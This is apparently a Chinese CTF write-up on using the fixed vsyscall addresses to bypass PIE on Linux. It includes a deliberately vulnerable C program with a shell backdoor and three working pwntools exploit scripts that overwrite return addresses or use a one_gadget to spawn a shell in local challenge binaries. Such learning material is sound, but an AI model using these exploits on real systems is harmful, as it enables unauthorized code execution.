链接

没有开启pie的程序每一次基地址都是固定,(例如 64位下都是0x400000)

开启后地址会随机变换,但是有一个函数的地址不会改变

3次查看当前进程中 vsyscall 的地址

发现都是在 0xffffffffff600000-0xffffffffff601000

image.png


现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall

总之,系统虽然开启了PIE,但考虑到性能方面,还是决定牺牲一部分安全性,把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall

image.png

几个常用的无参内核调用加起来就是vsyscall,所以vsyscall中就包含有若干个syscall汇编语句,但是我们不能直接跳转到这里,因为vsyscall执行时会检查,如果不是从函数开头开始执行就会crash,因此我们可以选择0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址


滑动绕过pie

由于这三个系统调用都是无参的,而且地址固定,这样我们就得到一个地址固定的返回地址,而且不用考虑栈平衡,通过retn自动执行下一个返回地址,这样就可以一直滑到输入点buf之后的任意地址并进行写入


// compiled: gcc -g vsyscall.c -o vsyscall
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void backdoor();

int main()
{
    char buf[0x100];
    read(0, buf, 0x100 - 1);
    // 直接跳转到buf
    asm("jmp  %0" :  : "m" (buf));

    return 0;
}

void backdoor()
{
    execve("/bin/sh", NULL, NULL);
}

image.png

gdb vsyscall  

image.png

image.png

从上面可以看出0x7fffffffdb30+8为我们可以利用的地址,它的值是0x00005555555547bd,而backdoor的地址是0x55555555474e,我们就可以把(0x7fffffffde80+8)的低字节改为'\x4e',执行时就通过vsyscall滑到了该地址,最后执行backdoor

exp

from pwn import *

io=process('./vsyscall')
ret=0xffffffffff600400
pay=p64(ret)*27+'\x4e'
io.send(pay)

io.interactive()

image.png

但是backdoor的地址为什么不会随机化,低地址一定就是'\x4e'吗?

这里好像涉及到一个pie的设计缺陷,由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。


往往这个技术的思路是——在栈中寻找之前遗留的信息,通过溢出技术修改,并通过vsyscall将返回地址滑动到该信息处,从而完成攻击。


目前只能在Ubuntu 16.04中有这个漏洞存在了


例题

DASCTF 8月 magic_number

image.png

一般开启了pie都要考察pie的绕过了

image.png

在gdb中查看输入点buf之后的地址中有和system("/ bin/sh")地址差不多的内容,就可以用vsyscall滑到那里

image.png

from pwn import *
io=process('./magic_number')
ret=0xffffffffff600000
pay=p64(ret)*11+'\xA8'
io.sendafter('Your Input :\n',pay)
io.interactive()

看到buf+11*8前面位置也有一些符合的,试了一下不行,大概是因为buf长度至少要先覆盖到返回地址

image.png


攻防世界进阶区-1000levevls

image.png

image.png

hint()

image.png

image.png

go()

image.png

image.png

gdb查看

返回地址之后加上3个p64()就到了rbp-0x110

不知道怎么搞的。。。


不过也可以直接在ida里面看,我们写入one_gadget的那个栈空间是go()中的$rsp+0x10的位置,

我们在go()中调用的play_game()中从返回地址开始溢出,除了一个原本的ret,再放两个ret就刚好到了one_gadget的那个栈空间。

image.png

image.png

from pwn import *

io=process('./100levels')
libc=ELF('./libc.so')
context.log_level='debug'
one_gadget=0x4526a
ret=0xffffffffff600000

io.sendlineafter('Choice:\n','2')
io.sendlineafter('Choice:\n','1')
io.sendlineafter('How many levels?\n','0')
pay=str(one_gadget-libc.sym['system'])
io.sendlineafter('Any more?\n',pay)


def calc():
    io.recvuntil('Question: ')
    a=int(io.recvuntil(' ',drop=True),10)
    io.recvuntil('* ')
    b=int(io.recvuntil(' ',drop=True),10)
    io.recvuntil('Answer:')
    io.sendline(str(a*b))

for i in range(99):
    calc()

pay=cyclic(0x38)+p64(ret)*3
io.sendafter('Answer:',pay)
io.interactive()


vdso

image.png

ret2vdso